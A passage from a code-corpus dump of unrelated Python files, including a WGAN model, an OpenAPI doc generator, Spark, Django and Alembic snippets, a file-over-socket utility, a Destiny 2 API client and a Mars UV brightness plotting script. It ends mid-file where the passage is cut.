\"\"\"\n h = x\n h = self.block1(h)\n h = self.block2(h)\n h = self.block3(h)\n h = self.block4(h)\n h = self.activation(h)\n\n # Global average pooling\n h = h.mean(3).mean(2)\n\n output = self.l5(h)\n\n return output\n","sub_path":"official/vision/gan/megengine_mimicry/nets/wgan/wgan_cifar.py","file_name":"wgan_cifar.py","file_ext":"py","file_size_in_byte":4270,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"290398234","text":"import json\nimport re\n\nclass AutoDocumentation:\n def __init__(self):\n self.blueprint = \"\"\n self.all_endpoints = []\n\n def find_blueprint(self, filename):\n with open(filename) as file:\n for line in file:\n if \"APIBlueprint(\" in line:\n self.blueprint = '@' + \" \".join(line.split()[:1]) + '.api'\n\n def search_until(self, obj, item, end, start_index=None):\n for y in range(len(obj)):\n if item in obj:\n if start_index is None : start_index = obj.index(item)\n store = \"\" # String containing the final endpoint structure\n for x in range(start_index, len(obj)):\n if end in obj[x]: # Once found end, break.\n break\n else:\n store = store + (obj[x])\n return store\n\n def find_all_endpoints(self, filename):\n with open(filename, \"r\") as f:\n contents = f.read()\n\n pattern = re.compile(r'((([\\w\\.\\-]*)\\@([\\w\\.\\-]+))\\(\\s+(\\w+)=\\,\\s+(\\w+)=\\,\\s+(\\w+)=\\{\\}\\s+\\))')\n matches = pattern.finditer(contents)\n\n for match in matches:\n print(match)\n\n # print(contents[13675:13677])\n\n\n\n\n def find_nested_schema(self, nested_schema, filename):\n with open(filename, \"r\") as f:\n line_list = []\n for line in f:\n m = re.search(r'\\(([A-Za-z0-9_]+)\\)', line)\n if m:\n found = m.group(1)\n print(found)\n\n\n\n def create_new_path(self, openapi, http_path, http_method):\n openapi['paths'][http_path] = {}\n openapi['paths'][http_path][http_method] = {}\n openapi['paths'][http_path][http_method]['responses'] = {}\n openapi['paths'][http_path][http_method]['responses']['200'] = {}\n openapi['paths'][http_path][http_method]['responses']['200']['description'] = 'None'\n openapi['paths'][http_path][http_method]['responses']['200']['content'] = {}\n openapi['paths'][http_path][http_method]['responses']['200']['content']['application/json'] = {}\n openapi['paths'][http_path][http_method]['responses']['200']['content']['application/json']['schema'] = {}\n openapi['paths'][http_path][http_method]['responses']['200']['content']['application/json']['schema']['type'] = 'object'\n openapi['paths'][http_path][http_method]['responses']['200']['content']['application/json']['schema']['properties'] = {}\n\n openapi['paths'][http_path][http_method]['parameters'] = []\n\n def create_json(self):\n with open('openapi.json') as json_file:\n openapi = json.load(json_file)\n\n for x in range(len(self.all_endpoints)):\n http_path = autodoc.search_until(self.all_endpoints[x], \"http_path=\", \",\").strip('http_path=').strip(\"'\")\n http_method = autodoc.search_until(self.all_endpoints[x], \"http_method=\", \",\").strip('http_method=').strip(\"'\").lower()\n output_schema = autodoc.search_until(self.all_endpoints[x], \"output_schema={\", \"}\").strip('output_schema={').split(',')\n\n try:\n input_schema = autodoc.search_until(self.all_endpoints[x], \"input_schema={\", \"}\").strip(\n 'input_schema={').split(',')\n except AttributeError:\n input_schema = None\n\n self.create_new_path(openapi, http_path, http_method)\n\n for item in output_schema:\n\n if 'fields.String()' in item:\n item = item.strip(\"fields.String()\").strip(\": \").strip(\"'\")\n openapi['paths'][http_path][http_method]['responses']['200']['content']['application/json']['schema']['properties'][item] = {}\n openapi['paths'][http_path][http_method]['responses']['200']['content']['application/json']['schema']['properties'][item]['type'] = 'string'\n elif 'fields.List' in item:\n m = re.search(r'\\(([A-Za-z0-9_]+)\\)', item)\n if m:\n found = m.group(1)\n print(found)\n\n # self.find_nested_schema(found, \"users.py\")\n\n elif 'fields.Nested(' in item:\n #print(item)\n pass\n\n if input_schema:\n for item in input_schema:\n\n if 'fields.String()' in item:\n item = item.strip(\"fields.String()\").strip(\": \").strip(\"'\")\n\n parameter = {}\n parameter['name'] = item\n parameter['in'] = 'query'\n parameter['description'] = 'None'\n parameter['schema'] = {}\n parameter['schema']['type'] = \"string\"\n\n openapi['paths'][http_path][http_method]['parameters'].append(parameter)\n\n elif 'fields.List' in item:\n pass\n elif 'fields.Nested(' in item:\n pass\n\n return openapi\n\n\nautodoc = AutoDocumentation()\nautodoc.find_blueprint(\"users.py\") # @users.api\nautodoc.find_all_endpoints(\"users.py\") # all endpoints\n\n# print(autodoc.all_endpoints)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5295,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"78644022","text":"from pyspark import SparkConf, SparkContext\n\n\nconf = SparkConf().setMaster(\"local\").setAppName(\"My App\")\nsc = SparkContext(conf=conf)\n\nnum = sc.parallelize(list(range(25)))\n\nseqOp = (lambda x, y: (x[0] + y, x[1] + 1))\ncombOp = (lambda x, y: (x[0] + y[0], x[1] + y[1]))\n\nsc.parallelize([1, 2, 3, 4]).aggregate((0, 0), seqOp, combOp)\n\nsc.parallelize([]).aggregate((0, 0), seqOp, combOp)\n","sub_path":"language/py/spark/aggregate.py","file_name":"aggregate.py","file_ext":"py","file_size_in_byte":385,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"146160604","text":"from readcsvfile import reader\r\nimport math\r\n\r\ndata1 = reader('data.csv')\r\ndata2 = reader('data.csv')\r\n\r\ndef popcorcoeff(data1, data2):\r\n if len(data1) == 0 or len(data2) == 0 or len(data1) != len(data2):\r\n return 0\r\n s = 0\r\n data1_mean = sum(data1)/len(data2)\r\n data2_mean = sum(data2)/len(data2)\r\n data1_SD = math.sqrt(sum([(val - data1_mean)**2 for val in data1])/(len(data1) - 1))\r\n data2_SD = math.sqrt(sum([(val - data2_mean)**2 for val in data2])/(len(data2) - 1))\r\n for i, j in zip(data1,data2):\r\n s = s + (((i-data1_mean)/data1_SD)*((j-data2_mean)/data2_SD))\r\n return s/len(data1)","sub_path":"popcorcoeff.py","file_name":"popcorcoeff.py","file_ext":"py","file_size_in_byte":627,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"392519256","text":"\nfrom http.server import HTTPServer, CGIHTTPRequestHandler\nfrom socketserver import ThreadingMixIn\nfrom email.utils import formatdate\nimport time\nimport datetime\n\n\nclass Handler(CGIHTTPRequestHandler):\n\tcgi_directories = [\"/scripts\"]\n\n\tdef do_SSE(self):\n\t\tself.wfile.write((\"\"\"\\\nHTTP/1.1 200 OK\\r\\n\\\nDate: \"\"\" + formatdate(timeval = time.mktime(datetime.datetime.now().timetuple()), localtime = False, usegmt = True) + \"\"\"\\r\\n\\\nContent-Type: text/event-stream\\r\\n\\\nCache-Control: no-cache\\r\\n\\\nConnection: keep-alive\\r\\n\\\n\\r\\n\n\"\"\").encode(\"UTF-8\"))\n\n\t\twhile not(self.wfile.closed):\n\t\t\tself.wfile.write((\"data:\" + str(datetime.datetime.now()) + \"\\n\\n\").encode(\"UTF-8\"))\n\t\t\tself.wfile.flush()\n\t\t\ttime.sleep(1)\n\n\n\tdef do_GET(self):\n\t\tif self.path == \"/scripts/messenger_messages.py\":\n\t\t\tself.do_SSE()\n\t\telse:\n\t\t\tsuper().do_GET()\n\n\nclass Server(ThreadingMixIn, HTTPServer):\n\tpass\n\nServer((\"\", 8002), Handler).serve_forever()\n","sub_path":"webserver_with_messenger/server.py","file_name":"server.py","file_ext":"py","file_size_in_byte":921,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"256701841","text":"import os\nimport unittest\nfrom unittest import mock\n\nfrom checkov.common.bridgecrew.bc_source import get_source_type\nfrom checkov.common.bridgecrew.platform_integration import BcPlatformIntegration\n\n\nclass TestBCApiUrl(unittest.TestCase):\n\n @mock.patch.dict(os.environ, {'BC_API_URL': 'foo'})\n def test_overriding_bc_api_url(self):\n instance = BcPlatformIntegration()\n self.assertEqual(instance.api_url, \"foo\")\n\n @mock.patch.dict(os.environ, {'PRISMA_API_URL': 'prisma'})\n def test_overriding_pc_api_url(self):\n instance = BcPlatformIntegration()\n self.assertEqual(instance.api_url, \"prisma/bridgecrew\")\n self.assertEqual(instance.prisma_url, \"prisma\")\n\n def test_no_overriding_api_url(self):\n instance = BcPlatformIntegration()\n self.assertEqual(instance.api_url, \"https://www.bridgecrew.cloud\")\n\n def test_skip_mapping_default(self):\n # Default is False so mapping is obtained\n instance = BcPlatformIntegration()\n instance.setup_http_manager()\n instance.get_id_mapping()\n self.assertIsNotNone(instance.ckv_to_bc_id_mapping)\n\n def test_skip_mapping_true(self):\n instance = BcPlatformIntegration()\n instance.bc_skip_mapping = True\n instance.setup_http_manager()\n instance.get_id_mapping()\n self.assertDictEqual({}, instance.ckv_to_bc_id_mapping)\n\n def test_should_upload(self):\n self.assertFalse(get_source_type('vscode').upload_results)\n self.assertTrue(get_source_type('cli').upload_results)\n self.assertTrue(get_source_type('xyz').upload_results)\n self.assertTrue(get_source_type(None).upload_results)\n\n\nif __name__ == '__main__':\n unittest.main()\n","sub_path":"tests/common/test_platform_integration.py","file_name":"test_platform_integration.py","file_ext":"py","file_size_in_byte":1725,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"372205296","text":"\"\"\"empty message\n\nRevision ID: 318c7fd5dff0\nRevises: ef098dbbf8d7\nCreate Date: 2017-08-24 16:13:31.171812\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import mysql\n\n# revision identifiers, used by Alembic.\nrevision = '318c7fd5dff0'\ndown_revision = 'ef098dbbf8d7'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index('file_path', table_name='dataset')\n op.alter_column('tract', 'name',\n existing_type=mysql.VARCHAR(length=50),\n nullable=False)\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.alter_column('tract', 'name',\n existing_type=mysql.VARCHAR(length=50),\n nullable=True)\n op.create_index('file_path', 'dataset', ['file_path'], unique=True)\n # ### end Alembic commands ###\n","sub_path":"migrations/versions/318c7fd5dff0_.py","file_name":"318c7fd5dff0_.py","file_ext":"py","file_size_in_byte":942,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"194110229","text":"from operator import itemgetter\n\nfrom django.db.models import F\n\nfrom project.cache import cache_factory\nfrom project.shortcuts import base_template_context_processor, timezone_now\n\nfrom ..models import EventContainerBinder\nfrom ..shortcuts import hide_test_events_in_production\n\n\ndef big_containers(request):\n \"\"\"Получение событий и их добавление в контекст шаблона.\"\"\"\n if base_template_context_processor(request):\n today = timezone_now()\n\n events_published = EventContainerBinder.objects.select_related(\n 'event',\n 'event_container',\n ).annotate(\n uuid=F('event__id'),\n datetime=F('event__datetime'),\n is_group=F('event__is_group'),\n container=F('event_container__slug'),\n container_mode=F('event_container__mode')\n ).values(\n 'uuid',\n 'is_group',\n 'container',\n 'order',\n 'img',\n ).filter(\n container_mode__startswith='big_',\n event__is_published=True,\n datetime__gt=today,\n event__domain_id=request.domain_id,\n ).order_by(\n 'container',\n 'order',\n 'datetime',\n )\n\n big_vertical_left = list(events_published.filter(container='big_vertical_left'))\n big_vertical_right = list(events_published.filter(container='big_vertical_right'))\n big_horizontal = list(events_published.filter(container='big_horizontal'))\n\n for container in (big_vertical_left, big_vertical_right, big_horizontal):\n if container:\n for item in container:\n # Получение информации о каждом размещённом событии/группе из кэша\n item_cache = (\n cache_factory('group', item['uuid']) if\n item['is_group'] else\n cache_factory('event', item['uuid'])\n )\n item.update(item_cache)\n # Оставляем в списке ВСЕ актуальные события и удаляем группы БЕЗ актуальных на данный момент событий\n container[:] = [\n i for i in container if\n i['event_datetime'] >= today and\n (not i['is_group'] or (i['is_group'] and i['earliest_published_event_in_group'])) and\n hide_test_events_in_production(i)\n ]\n container = sorted(container, key=itemgetter('event_datetime'))\n\n return {\n 'big_vertical_left': big_vertical_left,\n 'big_vertical_right': big_vertical_right,\n 'big_horizontal': big_horizontal,\n }\n else:\n return {}\n","sub_path":"bezantrakta/event/context_processors/big_containers.py","file_name":"big_containers.py","file_ext":"py","file_size_in_byte":2874,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"467382365","text":"import os\nfrom subprocess import Popen\n#Las funciones implementadas se importan\n#import from archivos_x_socket.archivos import *\n\n'''\nConexion es el descriptor de archivo que retorna la función\naccept() y connect() del modulo socket\nnombre_archivo archivo es una cadena\ny buffer es el tamaño en bytes que se mandan\nel valor normalmente es de 1024.\nEsta Función recibe desde el canal de conexción del \nsocket la información necesaria para agregar un \narchivo en la maquina en la que se ejecuta, esta puede ser\nservidor o cliente de forma indiferente, primero recibe \nel nombre del archivo para crearlo después va recibiendo\nuna linea de texto del archivo original hasta que se \nreciba la cadena \"Fin\" la cual avisa que\nse copio todo del archivo original\n'''\ndef recibir_archivo(conexion,tam_buffer,accion = ''):\n nombre_archivo = str(conexion.recv(tam_buffer).decode(\"utf-8\"))\n\n if accion == \"actualizar\":\n ruta = './' + nombre_archivo\n if not os.path.isfile(ruta):\n return ' ' \n\n archivo = open(nombre_archivo,'w')\n while True: \n datos = conexion.recv(tam_buffer).decode(\"utf-8\")\n if str(datos) == 'Fin':\n archivo.close()\n break\n else:\n archivo.write(str(datos))\n return nombre_archivo\n\n'''\nConexion es el descriptor de archivo que retorna la función\naccept() y connect() del modulo socket\nnombre_archivo archivo es una cadena.\nLa función manda desde el canal de conexión del socket\nla información del archivo que se tiene que mandar, se puede\nejecutar desde un proceso servidor o un proceso cliente,\nprimero se manda el nombre del archivo después se manda\nel contenido del archivo linea por linea, cuando termina\nmanda la cadena \"Fin\" para avisar a la maquina receptora que\nse termino de mandar el contenido del archivo'''\ndef mandar_archivo(conexion,nombre_archivo,accion = ''):\n if not '.txt' in nombre_archivo:\n nombre_archivo = nombre_archivo + '.txt'\n conexion.send(bytes(nombre_archivo,'utf-8'))\n\n if accion == \"actualizar\":\n ruta = './' + nombre_archivo\n if not os.path.isfile(ruta):\n return False\n\n with open(nombre_archivo,'r') as archivo:\n for linea in archivo.readlines():\n conexion.send(bytes(linea,'utf-8'))\n \n #mandamos señal de fin de archivo\n conexion.send(bytes(\"Fin\",'utf8'))\n \n\n'''\nnombre_archivo es una cadena. La función retorna \nTrue si se pudo crear el archivo sin problema\nen caso contrario retorna False\nEl archivo se crea mediante el programa vim\nel cual se corre como un subprocesso.\n'''\ndef nuevo_archivo(nombre_archivo):\n if not '.txt' in nombre_archivo:\n nombre_archivo = nombre_archivo + '.txt'\n if os.path.isfile(nombre_archivo):\n return True\n return proceso_vim(nombre_archivo)\n \n'''\nnombre_archivo es una cadena. La función retorna \nTrue si se pudo eliminar el archivo sin problema\nen caso contrario retorna False.\nLa función primero checa que nombre_archivo\ntenga la extención correcta si no es así se agrega\nla extencion '.txt'\n'''\ndef eliminar_archivo(nombre_archivo):\n if not '.txt' in nombre_archivo:\n nombre_archivo = nombre_archivo + '.txt'\n if not os.path.isfile(nombre_archivo):\n return False\n os.remove(nombre_archivo)\n return True\n\n'''\nnombre_archivo es una cadena. \nAl igual que la función eliminar esta primero checa la extención\nsi no la tiene se la agrega y también busca si el archivo \nexiste si no la tiene retorna false en caso contrario \nse retorna True\n'''\ndef actualizar_archivo(nombre_archivo):\n if not '.txt' in nombre_archivo:\n nombre_archivo += '.txt'\n if not os.path.isfile(nombre_archivo):\n return False\n return proceso_vim(nombre_archivo)\n \n'''\nFunción que se encarga de correr el programa vim\ncomo un subproceso. el programa se detiene \nhasta que se termina de editar el archivo\nretorna True si se termino de ocupar vim \nsin problemas y en caso contrario retorna False\n'''\ndef proceso_vim(nombre_archivo):\n proceso = Popen(['vim',nombre_archivo])\n fin_exitoso = proceso.wait()\n if fin_exitoso == 0:\n return True\n else:\n return False\n","sub_path":"Programacion concurrente/sockets/TCP/practica/maquina_cliente/archivos_x_socket/archivo.py","file_name":"archivo.py","file_ext":"py","file_size_in_byte":4203,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"422885201","text":"from datetime import datetime\nimport random\nimport time\n\nimport requests.exceptions\n\nfrom src.enums import WeaponSubType, WeaponType\nfrom src.exceptions import NoAvailableWeaponsError, InvalidSelectionError, TransferOrEquipError\nfrom src.item import Weapon\n\n\nclass Character:\n \"\"\"\n Class for performing character-specific API operations\n \"\"\"\n\n def __eq__(self, obj):\n \"\"\"\n Two characters are equal if their character IDs are equal\n \"\"\"\n if not isinstance(obj, Character):\n return False\n return self.character_id == obj.character_id\n\n def __init__(self, api, data, profile):\n self.api = api\n self.data = data\n\n # Needed because some equip operations require moving items from other characters, which is\n # an account-level operation\n self.profile = profile\n\n @property\n def membership_id(self):\n \"\"\"\n Character membership ID\n \"\"\"\n return self.data['membershipId']\n\n @property\n def character_id(self):\n \"\"\"\n Character ID\n \"\"\"\n return self.data['characterId']\n\n @property\n def membership_type(self):\n \"\"\"\n Character membership type\n \"\"\"\n return self.data['membershipType']\n\n @property\n def last_played(self):\n \"\"\"\n Last time this character was played\n \"\"\"\n return datetime.strptime(self.data['dateLastPlayed'], '%Y-%m-%dT%H:%M:%SZ')\n\n @property\n def equipped_weapons(self):\n \"\"\"\n Returns the 3 weapons equipped on the character (as Weapon objects)\n \"\"\"\n return self.get_character_weapons()['equipped']\n\n @property\n def unequipped_weapons(self):\n \"\"\"\n Returns all unequipped weapons currently in the character's possession (as Weapon objects)\n \"\"\"\n return self.get_character_weapons()['unequipped']\n\n def _transfer_item(self, item, transfer_to_vault):\n \"\"\"\n Transfer an item to or from the vault\n \"\"\"\n return self.api.make_post_call(\n '/Destiny2/Actions/Items/TransferItem',\n {\n 'itemReferenceHash': item.item_hash,\n 'stackSize': 1,\n 'transferToVault': transfer_to_vault,\n 'itemId': item.item_id,\n 'characterId': self.character_id,\n 'membershipType': self.membership_type\n }\n )['Response']\n\n def get_character_weapons(self):\n \"\"\"\n Get all weapons associated with the current character. Includes equipped weapons, unequipped\n weapons, and weapons in the postmaster's inventory\n \"\"\"\n items = self.api.make_get_call(\n '/Destiny2/{}/Profile/{}/Character/{}'.format(\n self.membership_type, self.membership_id, self.character_id),\n {'components': '201,205'}\n )['Response']\n all_unequipped_weapons = [\n Weapon(x, self.api.manifest) for x in items['inventory']['data']['items']\n if self.api.manifest.item_data[x['itemHash']]['itemType'] == 3]\n equipped_weapons = [\n Weapon(x, self.api.manifest) for x in items['equipment']['data']['items']\n if self.api.manifest.item_data[x['itemHash']]['itemType'] == 3]\n\n # This is to exclude postmaster weapons, which are in a separate bucket\n owned_unequipped_weapons = [x for x in all_unequipped_weapons\n if x.data['bucketHash'] in WeaponType.values()]\n postmaster_weapons = [x for x in all_unequipped_weapons\n if x.data['bucketHash'] not in WeaponType.values()]\n\n return {'equipped': equipped_weapons,\n 'unequipped': owned_unequipped_weapons,\n 'postmaster': postmaster_weapons}\n\n def transfer_to_character(self, item):\n \"\"\"\n Transfer an item from the vault to the character\n \"\"\"\n return self._transfer_item(item, transfer_to_vault=False)\n\n def transfer_to_vault(self, item):\n \"\"\"\n Transfer an item from the character to the vault\n \"\"\"\n return self._transfer_item(item, transfer_to_vault=True)\n\n def equip_owned_weapon(self, weapon):\n \"\"\"\n Equip a weapon that is currently in the character's possession\n \"\"\"\n response = self.api.make_post_call(\n '/Destiny2/Actions/Items/EquipItem',\n {\n 'itemId': weapon.item_id,\n 'characterId': self.character_id,\n 'membershipType': self.membership_type\n }\n )\n if response['ErrorStatus'] != 'Success':\n raise TransferOrEquipError('Unable to equip item. Error message: {}'.format(\n response['Message']))\n\n def equip_weapon(self, weapon, retries=3):\n \"\"\"\n Attempt to equip the specified weapon on this character, transferring from other characters\n and from the vault as necessary\n \"\"\"\n while True:\n try:\n # Determine which character has the item, or if it is in the vault\n owner = self.profile.get_weapon_owner(weapon)\n\n # If item is not owned by current character\n if owner != self:\n # If owned by other character, transfer to vault\n if owner is not None:\n owner.transfer_to_vault(weapon)\n\n # Get the number of weapons in the same slot as the requested weapon\n same_slot_weapons = [\n x for x in self.unequipped_weapons if x.type == weapon.type]\n\n # If necessary, move last weapon in that slot to the vault to make room\n if len(same_slot_weapons) == 9:\n self.transfer_to_vault(same_slot_weapons[-1])\n\n # Transfer from vault to current character\n self.transfer_to_character(weapon)\n\n # Finally, equip the weapon\n self.equip_owned_weapon(weapon)\n\n self.profile.last_equip_time = time.time()\n except requests.exceptions.HTTPError as e:\n if retries <= 0:\n response_json = e.response.json()\n if response_json['ErrorCode'] == 1623: # Item requested was not found\n raise TransferOrEquipError(\n 'Unable to transfer or equip item. Please try again')\n else:\n raise TransferOrEquipError(response_json['Message'])\n retries -= 1\n time.sleep(3)\n else:\n break\n\n def select_random_weapon(self, weapon_type=None, weapon_sub_type=None):\n \"\"\"\n Select a random weapon, given certain optional constraints. For valid weapon type\n constraints, see WeaponType.get_enum_from_string. For valid weapon subtype constraints, see\n WeaponSubType.get_enum_from_string\n \"\"\"\n if weapon_sub_type == WeaponSubType.TRACE_RIFLE:\n raise InvalidSelectionError('Random selections of Trace Rifles are not supported at '\n 'this time. However, you may use !equip to equip a '\n 'specific trace rifle')\n\n weapons = self.profile.get_all_weapons()\n\n # Restrict by weapon subtype if specified\n if weapon_sub_type is not None:\n weapons = [x for x in weapons if x.sub_type == weapon_sub_type]\n\n # If weapon type not specified, and an exotic weapon is equipped, then exclude exotics\n # from the pool of weapons to choose from\n if weapon_type is None:\n for weapon in self.equipped_weapons:\n if weapon.is_exotic:\n weapons = [x for x in weapons if not x.is_exotic]\n break\n else:\n # Else if weapon type is specified, restrict to the appropriate type\n weapons = [x for x in weapons if x.type == weapon_type]\n\n # Then check if exotic is equipped in one of the other slots. If so, exclude exotics\n # from the pool of weapons to choose from\n for weapon in self.equipped_weapons:\n if weapon.type != weapon_type and weapon.is_exotic:\n weapons = [x for x in weapons if not x.is_exotic]\n break\n\n if len(weapons) == 0:\n msg = 'No weapons available to equip'\n if weapon_type is not None:\n msg += ' with weapon type {}'.format(\n WeaponType.get_string_representation(weapon_type))\n if weapon_sub_type is not None:\n msg += ' with weapon subtype {}'.format(\n WeaponSubType.get_string_representation(weapon_sub_type))\n raise NoAvailableWeaponsError(msg)\n\n return random.choice(weapons), weapons\n\n def select_weapon_by_name(self, weapon_name):\n \"\"\"\n Search for and select a weapon by name. If one or more exact matches is found, choose one of\n those. If not, then look for partial matches and choose one of those. The matching is not\n case-sensitive\n \"\"\"\n weapon_name_lowercase = weapon_name.lower()\n\n weapons = self.profile.get_all_weapons()\n\n # Look for exact matches\n matching = [x for x in weapons if x.name.lower() == weapon_name_lowercase]\n\n # If none found, look for partial matches\n if len(matching) == 0:\n matching = [x for x in weapons if weapon_name_lowercase in x.name.lower()]\n\n if len(matching) == 0:\n raise NoAvailableWeaponsError(\n 'Could not find any unequipped weapons matching \"{}\"'.format(weapon_name))\n\n # In case there's multiple options, choose a random one\n return random.choice(matching), matching\n","sub_path":"src/character.py","file_name":"character.py","file_ext":"py","file_size_in_byte":9962,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"159914278","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Mon Sep 23 09:41:37 2019\n\n@author: K. Masunaga, LASP CU Boulder (kei.masunaga@lasp.colorado.edu)\n\"\"\"\n\nimport numpy as np\nimport matplotlib.pyplot as plt\n\nimport common.tools as ctools\nfrom MyRc import HskRc\nrc = HskRc()\n\n\n\ndef get_lims(obs_period, linename):\n \n ysky = None\n \n if obs_period == 1:\n if linename == 'OI1304':\n wl_lim = [1295, 1309]\n ylim = [560, 587]\n yadj = [600, 610]\n \n if linename == 'LyB':\n wl_lim = [1018, 1032]\n ylim = [560, 590]\n yadj = [600, 610]\n \n if obs_period == 2:\n if linename == 'OI1304':\n wl_lim = [1295, 1309]\n ylim = [560, 587]\n yadj = [600, 610]\n \n if linename == 'LyB':\n wl_lim = [1018, 1032]\n ylim = [560, 590]\n yadj = [600, 610]\n \n if obs_period == 3:\n if linename == 'OI1304':\n wl_lim = [1295, 1309]\n ylim = [565, 587]\n yadj = [600, 610]\n \n if linename == 'LyB':\n wl_lim = [1018, 1032]\n ylim = [555, 585]\n yadj = [600, 610]\n \n if obs_period == 4:\n if linename == 'OI1304':\n wl_lim = [1295, 1309]\n ylim = [565, 590]\n yadj = [600, 610]\n \n if linename == 'LyB':\n wl_lim = [1018, 1032]\n ylim = [565, 590]\n yadj = [600, 610] \n \n if obs_period == 5:\n if linename == 'OI1304':\n wl_lim = [1295, 1309]\n ylim = [560, 587]\n yadj = [600, 610]\n \n if linename == 'LyB':\n wl_lim = [1018, 1032]\n ylim = [560, 590]\n yadj = [600, 610]\n \n if obs_period == 6:\n if linename == 'OI1304':\n wl_lim = [1295, 1309]\n ylim = [555, 578]\n yadj = [600, 610]\n \n if linename == 'LyB':\n wl_lim = [1018, 1032]\n ylim = [555, 585]\n yadj = [600, 610]\n \n if obs_period == 8:\n if linename == 'OI1304':\n wl_lim = [1292, 1312]\n ylim = [570, 600]\n yadj = None\n ysky = [525, 555]\n \n if linename == 'LyB':\n wl_lim = [1018, 1032]\n ylim = [570, 600]\n yadj = None\n ysky = [525, 555]\n \n if obs_period == 9:\n if linename == 'OI1304':\n wl_lim = [1292, 1312]\n ylim = [575, 605]\n yadj = None\n ysky = [525, 555]\n \n if linename == 'LyB':\n wl_lim = [1015, 1035]\n ylim = [578, 613]\n yadj = None\n ysky = [525, 560]\n \n if obs_period == 10:\n if linename == 'OI1304':\n wl_lim = [1292, 1312]\n ylim = [575, 605]\n yadj = None\n ysky = [525, 555]\n \n if linename == 'LyB':\n wl_lim = [1015, 1035]\n ylim = [578, 613]\n yadj = None\n ysky = [525, 560]\n \n if obs_period == 11:\n if linename == 'OI1304':\n wl_lim = [1292, 1312]\n ylim = [575, 605]\n yadj = None\n ysky = [525, 555]\n \n if linename == 'LyB':\n wl_lim = [1015, 1035]\n ylim = [578, 613]\n yadj = None\n ysky = [525, 560]\n \n if obs_period == 12:\n if linename == 'OI1304':\n wl_lim = [1292, 1312]\n ylim = [575, 605]\n yadj = None\n ysky = [525, 555]\n \n if linename == 'LyB':\n wl_lim = [1015, 1035]\n ylim = [578, 613]\n yadj = None\n ysky = [525, 560]\n \n return {'wl_lim':wl_lim, 'ylim':ylim, 'yadj': yadj, 'ysky':ysky}\n\n\ndef get_brightness(target_body, obs_period, linename, daily=False, acc_data=False, adjust_bg=True):\n \n limdic = get_lims(obs_period, linename)\n slice_wl_lim = limdic['wl_lim']\n slice_ylim = limdic['ylim']\n wl_nm = 'wl_' + str(slice_wl_lim[0]) + '-' + str(slice_wl_lim[1])\n sp_nm = 'sp_' + str(slice_ylim[0]) + '-' + str(slice_ylim[1])\n period_nm = '{:02}'.format(obs_period)\n \n if obs_period <= 6:\n \n if acc_data:\n path = rc.saveloc + target_body + '/npy/brightness/with_sky/acc_data/adjust_bg/period_' + period_nm + '/'\n savename = 'bracc_' + wl_nm +'_' + sp_nm + '_*.npy'\n fname = ctools.file_search(savename, path)\n dic = np.load(fname, allow_pickle=True).item()\n print(dic.keys())\n \n else:\n if adjust_bg:\n #adj_nm = 'adj_' + str(ylim_adj[0]) + '-' + str(ylim_adj[1])\n path = rc.saveloc + target_body + '/npy/brightness/with_sky/daily/adjust_bg/period_' + period_nm + '/'\n savename = 'br_' + wl_nm +'_' + sp_nm + '_*.npy'\n fname = ctools.file_search(savename, path)\n dic = np.load(fname, allow_pickle=True).item()\n \n \n if obs_period >= 7:\n \n path = rc.saveloc + target_body + '/npy/brightness/no_sky/acc_data/period_' + period_nm + '/'\n savename = 'brnosky_' + wl_nm +'_' + sp_nm + '.npy'\n fname = ctools.file_search(savename, path)\n print(fname)\n dic = np.load(fname, allow_pickle=True).item()\n print(dic.keys())\n return dic\n \ndef main():\n obs_period = [2, 3, 4, 5, 6, 8, 9, 10, 11]\n ls_mean = [112.5, 148.7, 188.1, 218.9, 222.6, 234.2, 245.1, 271.9, 283.2]\n years = [2014, 2014, 2014, 2014, 2016, 2018, 2018, 2018, 2018]\n colors = ['k', 'r', 'b']\n linename = 'OI1304'\n timeDt_list = []\n br_list = []\n err_list = []\n \n for iop in obs_period:\n period_nm = '{:02}'.format(iop)\n dicAll = get_brightness('mars', iop, linename, acc_data=True)\n dic = dicAll['period_'+period_nm]\n timeDt_list.append(dic['timeDt'])\n br_list.append(dic['I'])\n err_list.append(dic['I_err'])\n plt.close()\n fig = plt.figure(figsize=(10, 10))\n ax1 = fig.add_subplot(211)\n ax2 = fig.add_subplot(212)\n for i, iop in enumerate(obs_period):\n if iop < 6:\n year = 2014\n color = 'k'\n elif iop == 6:\n year = 2016\n color = 'deepskyblue'\n elif iop > 6:\n year = 2018\n color = 'r'\n ax1.errorbar(timeDt_list[i], br_list[i], err_list[i], color=color, marker='s', markersize=3, linestyle='None', label=year)\n ax2.errorbar(ls_mean[i], br_list[i], err_list[i], color=color, marker='s', markersize=3, linestyle='None', label=year)\n ax1.set_ylim(bottom=0)\n ax1.set_xlabel('time')\n ax1.set_ylabel('Disk brightness [R]')\n ax2.set_ylim(bottom=0)\n ax2.set_xlim(0, 360)\n ax2.set_xlabel('Ls [degree]')\n ax2.set_ylabel('Disk brightness [R]')\n plt.rcParams[\"font.size\"] = 16\n plt.tight_layout()\n \nif __name__ == '__main__':\n 